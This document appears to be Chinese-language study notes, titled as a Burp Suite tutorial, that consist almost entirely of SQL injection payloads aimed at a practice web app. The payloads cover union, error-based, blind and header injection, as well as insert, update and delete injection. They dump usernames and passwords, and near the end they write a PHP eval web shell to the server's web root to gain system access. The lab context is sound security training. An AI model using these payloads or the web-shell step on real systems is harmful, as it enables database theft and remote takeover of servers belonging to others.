burpsuite实战教程
burpsuite实战教程.pdf
sql注入
数字型注入1 or 1=1字符型注入kobe' or 1=1#搜索型注入kobe%' or 1 =1 #XX型注入kobe') or 1=1#union联合查询 注入// 1. cols countkobe' union select 1,2#// 2. database infokobe' union select user(),database()#// 3. tables namekobe' union select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk'#// 4. cols namekobe' union select TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users'#// 5. table contentkobe' union select username,password from pk.users#// 6. Burte ForceMD5  , SHA1, SHA256, SHA512基于函数报错的注入select查询时只能有一列ERROR 1241 (21000): Operand should contain 1 column(s)select查询时结果时多行会报错,需要使用limit限制ERROR 1242 (21000): Subquery returns more than 1 row// 1. 测试注入点kobe' and updatexml(1,version(),0)#kobe' and updatexml(1,concat(0x7e,version()),0)#// 2. database infokobe' and updatexml(1,concat(0x7e,database()),0)#// 3. tables namekobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk')),0)#kobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1)),0)#kobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1)),0)#//found userskobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)),0)#// 4. cols namekobe' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1)),0)#// found passwordkobe' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 4,1)),0)#// found usernamekobe' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1)),0)#// 5. table contentkobe' and updatexml(1,concat(0x7e,(select username from pk.users limit 0,1)),0)#kobe' and updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0)#// 6. Burte Forceextractvaluekobe' and extractvalue(1,version())#kobe' and extractvalue(1,concat(0x7e,version()))#// 2. database infokobe' and extractvalue(1,concat(0x7e,database()))#// 3. tables namekobe' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk')))#kobe' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1)))#kobe' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1)))#//found userskobe' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)))#// 4. cols namekobe' and extractvalue(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1)))#// found passwordkobe' and extractvalue(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 4,1)))#// found usernamekobe' and extractvalue(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1)))#// 5. table contentkobe' and extractvalue(1,concat(0x7e,(select username from pk.users limit 0,1)))#kobe' and extractvalue(1,concat(0x7e,(select password from pk.users limit 0,1)))#// 6. Burte Forcefloor()kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x) a )#kobe' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x) a )#// 2. database infokobe' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x) a )#// 3. tables name//found userskobe' and (select 2 from (select count(*),concat((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1),floor(rand(0)*2))x from  information_schema.tables group by x) a )#// 4. cols name// found passwordkobe' and (select 2 from (select count(*),concat((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 4,1),floor(rand(0)*2))x from  information_schema.tables group by x) a )#// found usernamekobe' and (select 2 from (select count(*),concat((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1),floor(rand(0)*2))x from  information_schema.tables group by x) a )#// 5. table contentkobe' and (select 2 from (select count(*),concat((select username from pk.users limit 0,1),floor(rand(0)*2))x from  information_schema.tables group by x) a )#kobe' and (select 2 from (select count(*),concat((select password from pk.users limit 0,1),floor(rand(0)*2))x from  information_schema.tables group by x) a )#// 6. Burte Force基于函数报错,insert1. 测试闭合insert into member(username,pw,sex,phonenum,email,address) values('hello' -- ',md5('123'),'','','','')hello' --insert into member(username,pw,sex,phonenum,email,address) values('hello' or ' ',md5('123'),'','','','')hello' or '2. 获取数据库名称insert into member(username,pw,sex,phonenum,email,address) values('hello' or updatexml(1,concat(0x7e,database()),0) or '',md5('123123'),'','','','')hello' or updatexml(1,concat(0x7e,database()),0) or '// 3. tables name//found userskobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)),0)#insert into member(username,pw,sex,phonenum,email,address) values('hello' or updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)),0) or '',md5('123123'),'','','','')hello' or updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)),0) or '// 4. cols namekobe' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1)),0)#hello' or updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1)),0) or '// found passwordhello' or updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 4,1)),0) or '// found usernamehello' or updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1)),0) or '// 5. table contentkobe' and updatexml(1,concat(0x7e,(select username from pk.users limit 0,1)),0)#hello' or updatexml(1,concat(0x7e,(select username from pk.users limit 0,1)),0) or 'hello' or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0) or '基于函数报错update// 1. 测试注入update member set sex=''',phonenum='123',address='1123123',email='123123' where username='test1'" ' 报错update member set sex='' or '',phonenum='123',address='1123123',email='123123' where username='test1'" ' or ' bu报错update member set sex='' or updatexml(1,concat(0x7e,database()),0) or '',phonenum='123',address='1123123',email='123123' where username='test1'" // 2. 获取数据库名' or updatexml(1,concat(0x7e,database()),0) or '// 3. tables name// 4. cols name// 5. table content基于函数报错注入,delete1. 测试注入'  报错or 1=1 不报错2. 获取数据信息69+or+updatexml(1,concat(0x7e,database()),0)// 3. tables name// 4. cols name// 5. table content69 or updatexml(1,concat(0x7e,(select username from pk.users limit 0,1)),0) 69 or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0) http头注入User-Agent: ' or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0) or 'Accept: ' or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0) or 'Cookie: ant[uname]=admin' or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0)#;基于布尔的盲注kobe ' and 1=1#获取字符函数select substr("pk",1,1)='p'; 如果返回为1,说明正确,否则说明错误获取数据库名的第一个字符select substr(database(),1,1)='a'; 如果返回为1,说明正确,否则说明错误将字符转为asciiselect ascii(substr(database(),1,1))=112;获取字符串的长度select length(database())=2;kobe ' and select substr("pk",1,1)='p'#kobe ' and select ascii(substr(database(),1,1))=112;通过查询,and连接,两个查询都为真即为真select username from member where username ='kobe' and (select ascii(substr(database(),1,1))=112);kobe' and (select ascii(substr(database(),1,1))=112)#后表查询中为假,所以为假select username from member where username ='kobe' and (select ascii(substr(database(),1,1))=111);kobe' and (select ascii(substr(database(),1,1))=111)#// 1. 获取数据库名// 1. 1获取数据库名的长度kobe' and (select length(database())=2)#// 1.2 获取数据库名的每一个字符kobe' and (select ascii(substr(database(),1,1))=112)#// 2. 表名kobe' and (select ascii(substr(database(),1,1))=112)#// 查询表名,获取第一个表名select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1// 通过获取一个表名,然后判断这个表名的第一个字符的ascii是不是某一个值kobe' and (select ascii(substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1),1,1))=112)#// 3. 列名// 判断一列的一个字符kobe' and (select ascii(substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1),1,1))=112)#// 4.内容kobe' and (select ascii(substr((select username from pk.users limit 0,1),1,1))=112)#基于时间的盲注1. 测试注入点kobe' and sleep(5)#2. 获取数据库名kobe' and if((substr(database(),1,1)='p'),sleep(5),null)#3. 表名kobe' and if((substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1),1,1)='m'),sleep(5),null)#4. 列名// 判断名字的第一个字符kobe' and if((substr(获取的列名,1,1)='p'),sleep(5),null)#5. 表的内容// 判断名字的第一个字符kobe' and if((substr(获取的表内容,1,1)='p'),sleep(5),null)#C:/phpStudy/PHPTutorial/WWW/pk/1.php获取操作系统权限:kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/pk/2.php"#kobe' union select "<?php @eval($_POST['test'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/pk/2.php"#kobe' union select "<?php @eval($_GET['cmd'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/pk/1.php"#show global variables like '%secure%';在mysql的配置文件中[mysqld] 下面加入secure_file_priv=暴力破解表名和列名称// 破解表名kobe' and exists(select * from aa)#将aa进行变量化 暴力破解// 破解列名kobe' and exists(select id from users)#宽字节注入:空格 %20'       %27#      %23\      %5c1%df' or 1=1#